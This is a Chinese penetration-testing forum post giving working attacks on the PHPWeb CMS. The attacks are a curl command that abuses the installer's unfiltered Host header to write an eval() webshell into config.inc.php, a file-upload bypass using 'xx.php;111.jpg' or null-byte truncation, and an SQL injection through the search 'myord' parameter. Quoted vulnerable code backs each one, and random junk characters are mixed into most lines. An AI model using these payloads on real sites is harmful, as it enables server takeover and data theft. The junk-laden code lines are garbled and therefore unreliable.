中国网络渗透测试联盟

标题: phpweb成品网站最新版(注入、上传、写shell) [打印本页]

作者: admin    时间: 2013-1-4 19:45
标题: phpweb成品网站最新版(注入、上传、写shell)
注入:
* b# k7 Z3 g% }5 r) g9 a3 N6 ~% ]( Q. R0 f6 N2 J. l: q
之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码
; B, C$ Q$ V- G# x6 n7 J7 w! N ( m$ J( ~4 n# i! i8 c
鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件4 u' I/ E6 N* w' p, ]- J0 `7 ?
鸡肋2: 有一定安全常识的站长都会删掉 install 目录$ x% N4 I& a) v+ ?

: U0 e8 F6 H) A, E虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响4 ?' I  g' W# V/ m5 [( W' l
0 X* K% D: _# d$ f6 ~
分析:
, p. X) p& q  m/ }, f( Y3 k ! c" Y! U  J% S. W) K
3 Y" Q! B9 B$ f& }; }# S. N$ ]* D9 o
$siteurl="http://".$_SERVER["HTTP_HOST"]."/";    //未过滤
. a, Q2 ]- c+ @% V2 m( R; h9 B0 S 3 m; N" x& x5 T) Q; H2 W
                                            $filestr = fread(fopen($SysConfigFile, 'r'),30000);
, I4 r" j, {: |- f                                            $filestr=str_replace(" ","",$filestr);
3 @9 F. i: Y) h" T$ B                                            $filestr=str_replace("DefaultDbHost",$dbhost,$filestr);
! m( q9 H, g# p6 X                                            $filestr=str_replace("DefaultDbName",$dbname,$filestr);" B0 j! A, R; j( p
                                            $filestr=str_replace("DefaultDbUser",$dbuser,$filestr);
6 ?  ?" _5 [$ P! i6 N( X+ [                                            $filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);/ |* q/ K1 F. ?4 K* y5 x
                                            $filestr=str_replace("DefaultsLan","zh_cn",$filestr);
5 k: i" ?$ l# g                                            $filestr=str_replace("DefaultTablePre",$tablepre,$filestr);
5 Z1 s: P7 E9 t                                            $filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);
* ^, g" _3 ?8 g# c
+ U+ e  q/ i/ _" F) t                                            fwrite(fopen($ConFile,"w"),$filestr,30000);' z/ P" r+ A4 i# j+ [9 }  ~
$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^
. ~2 H, m  }$ G3 q$ t% j
  Q" x, ^' `, T- J! M* `& @: M/ Ipoc:
1 ~* T6 ]' W' m9 q
+ {+ E3 B* w( F( Q$ N# Q4 h6 m: F; s?; U- B) d* l, F, }3 C5 i' b, u
1
" P  T) D  i+ G2 D) E$ Ucurl http://fuck.0day5.com/base/install/index.php --data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#"
( J; m0 [$ `& F* E1 Sshell地址: /config.inc.php
( ]( c" U0 `& T跟之前的 phpcms一样 需要远程数据库' {! I$ @' S8 R7 ~4 Q" \; |! m
9 E, K0 O# r, H, e& r4 ]
——————————————————–
- H8 {' C3 `" q) \5 X上传漏洞(需要进后台):( l: L7 s* `: a. j
漏洞文件: /kedit/upload_cgi/upload.php+ G9 x6 t( m, x4 K  Q
这个很多人都知道,但是很鸡肋 iis6 解析 或 GPC off条件下才可利用
" S1 e5 p$ I4 j3 ~
- U7 P" |# c3 S: W* g" h3 P
0 p" m$ W9 O" \5 g<?php$ s0 n1 n- k& [! Q
    define("ROOTPATH", "../../");% }  O& s9 G0 _& j0 Q9 R
    include(ROOTPATH."includes/admin.inc.php");1 O/ t. j1 n; T  u# P7 c/ E
    NeedAuth(0);
# Y- c! L4 u% m2 t* H" f8 H% d
4 e6 @  D! z4 N+ U+ d% V1 U    $dt=date("Ymd",time());
) h) ?9 @5 N  b# z4 Y' W1 }  e    if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){5 X+ ~) E8 ~0 J; a
            @mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777);
' q, h# Q. Z, f. `+ v0 E) o    }, d7 \! [% U! @5 a9 X$ T

- E9 T* {/ O8 M$ g- ~8 r: X3 _6 Z    //文件保存目录路径
' w4 j* e! s% @" w! I$ r! T5 a    $save_path = ROOTPATH.$_POST['attachPath'].$dt.'/';; D3 r  ?6 p" T/ j- ?. F! f
    echo $save_path;7 z0 W/ D" {, ]* Z+ a. D& |. r: J
    //文件保存目录URL
% I0 V4 l) S, h+ J* J0 o9 \! n    $save_url = '../../'.$_POST['attachPath'].$dt.'/';
! ~( v, }, k# y# K
' _3 ]. z: ]  F1 V    //定义允许上传的文件扩展名) l2 Y! o9 H: B2 M& E* r
    $ext_arr = array('gif','jpg','png','bmp'); //限制后缀% [# B5 h$ o* s2 Z; s' J% B( l

( W( Q" a/ \0 L6 U- ~8 H    //最大文件大小4 a9 l+ j. w. _" ^
    $max_size = 1000000;6 P/ ]4 I: N' |, ?$ A5 X) ~% e

* v' S4 }8 P; {, ]9 g    //更改目录权限
% k7 G1 |/ Y: q2 u' D    @mkdir($save_path, 0777);0 h+ p+ n9 K, d. c6 D

" v5 w% u) L, D, Y; r$ n1 I) f    //文件的全部路径0 b; k3 n9 Z3 b' I& T
    $file_path = $save_path.$_POST['fileName'];   //保存文件名  k) m7 s3 {) ~6 y* t& Z' L; k6 L
; x) D8 y3 Q" b& Q+ q3 r- x
    //文件URL6 b8 ?# Y! R7 R; R- F, t
    $file_url = $save_url.$_POST['fileName'];
  X" R& i6 h/ ?5 o# K//有上传文件时
! C8 t/ T+ e# L& o    if (empty($_FILES) === false) {( `4 h( _4 e  T$ U  s/ W# K

5 ~, `2 Y7 x5 W- h" Y1 r; C$ H' m            //原文件名
* r$ ], r) J0 C1 m7 g$ Q( \! N            $file_name = $_FILES['fileData']['name'];7 @3 u1 w- r" c3 z9 C, N( X! k' w  Q2 t4 B
            //服务器上临时文件名8 |9 _8 D  K6 _3 d
            $tmp_name = $_FILES['fileData']['tmp_name'];* `; B6 u9 y9 K  S
            //文件大小7 g4 z$ |, @: o% i2 t8 O) {% S4 P
            $file_size = $_FILES['fileData']['size'];4 M' }; }: L8 G- p2 h9 P
            //检查目录. q; d7 ^4 Q! O
            if (@is_dir($save_path) === false) {
( N, v  K, ~% l- M                    alert("上传目录不存在。");$ f8 m) F5 X# y4 B3 O
            }: Z0 j% _) }( {# T+ ]
            //检查目录写权限
+ z# |/ `) P& l- h5 h            if (@is_writable($save_path) === false) {/ N1 w* L# ]4 K5 I% d
                    alert("上传目录没有写权限。");% p- q! p7 `& {4 P6 b% ~$ w& K! _
            }
  J& e' y9 l2 l9 e9 Y; ]$ ^: r            //检查是否已上传
& s" L/ X3 G, V4 m9 ~/ q& T/ Q            if (@is_uploaded_file($tmp_name) === false) {
! C6 O* w2 l! A& X# {1 A1 I                    alert("临时文件可能不是上传文件。");
& V' F# F4 @6 F# e            }
) Q) d% m0 ?' E6 x            //检查文件大小+ E0 w2 R0 o% X' r
            if ($file_size > $max_size) {$ }) K; p* r5 s! n6 {) t: D; d
                    alert("上传文件大小超过限制。");
- b- c9 u& |9 Y% ?            }+ ^4 w+ ]( W- }; B0 R
            //获得文件扩展名
" J( O% y2 V8 I" h            $temp_arr = explode(".", $_POST['fileName']);: Q% R# Q1 z: l% x
            $file_ext = array_pop($temp_arr);
: o( n  [& @  o# W( J3 F% h            $file_ext = trim($file_ext);: X! n% s4 m% n3 j! Z4 R% K! j
            $file_ext = strtolower($file_ext);
/ e5 {6 q( x5 G4 ? # \5 i' U: E6 w1 j* t6 q
            //检查扩展名   
) N0 I4 t1 V) {* X- B7 a; u            if (in_array($file_ext, $ext_arr) === false) {     - p# t) L# k5 o' X- Q2 Z
                    alert("上传文件扩展名是不允许的扩展名。");
; ?6 H9 g7 }0 z0 C% n0 o/ m            }
+ S. v0 P0 {5 i- X* A, M
, ?1 V! A3 o& q" K) i* M            //移动文件   
5 v2 f% @: T2 O% a) B6 ?7 [            //未重命名 虽然过滤了 后缀   iis 6解析漏洞 ^ _ ^6 s/ w8 @0 {7 z, e' |) b7 w6 A
            if (move_uploaded_file($tmp_name, $file_path) === false) {
- H' \! e4 Q2 G2 L                    alert("上传文件失败。");7 i) r7 p7 I" Q! I6 w
            }
* G  T. v: V* s' [! ]9 p! Q
8 X0 W2 D/ L7 c+ s5 U            @chmod($file_path,0666);% r; Q) |4 ^. }$ Y9 }5 A

& r8 w; T$ s0 J- ]    ?>9 g0 A2 T1 D  d6 S
抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用http://www.0day5.com/?p=227
  J5 ]$ O3 n; I! i: K: C& ? - I- E. q8 k' M$ y1 o' _2 s/ E
apache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断 绕过
( h* H2 {0 {" G: M/ r
- R9 n$ W/ z4 }9 H——————————————————
5 i0 z6 W0 x) d: |注入漏洞:
( M5 R. t1 u0 k; F漏洞文件:search/module/search.php
4 x( \0 H" h* P/ ?# H; U3 f/search/index.php?key=1&myord=1 [sqlinjection]$ B. E, n0 v5 j( a/ f$ X: E$ r

6 F( t3 F4 M% t4 Y4 a  W
( B9 h# n/ M- u<?php, F9 k" @' V& O9 A% A5 c
   //       ... 省略 n 行...$ F( ^% g3 C1 _1 A
   //第18行:9 j; Q. M3 v5 R, `0 l9 n: n
           $key=htmlspecialchars($_GET["key"]);   //只是简单的将字符HTML 实体 编码   , mysql 注入不受此影响
1 h1 ?+ n# A' @+ ?           $page=htmlspecialchars($_GET["page"]);7 v7 C) h+ t& L' S* t7 w+ @, U
           $myord=htmlspecialchars($_GET["myord"]);
, f& L+ o. z( t. ]( S2 _
" b* L- q4 B7 e( E5 P. ^' q9 z0 D   //       ... 省略 n 行...
. v. ?# e7 l) k/ O2 {! O  F/ a" X* d) g   $key,$myord 两个参数带入查询
( s% d' |: R+ @% z, _   //第47行 $key:
, y+ y# }& e  M8 n5 l* e% ~' H& _8 Q
# g1 i# x/ h3 s* S) u) j: ?" H9 j' ?   $fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')");  //虽然带入查询 但使用的 是regexp 不知如何绕过..9 b( P+ l/ B, ]* B+ ?

6 E* e& ~( N  J2 O& h! P   //第197行 $myord$ V+ Q+ m; K) s9 ?0 C" L$ i+ d8 U
   $fsql->query($scl . " order by $myord desc limit $pagelimit ");    产生注入( V& q$ O. U) u2 y
$ j  T% b9 M+ m0 f: {' F
   ?>
) U9 q. i' l( a: N- g  C




欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2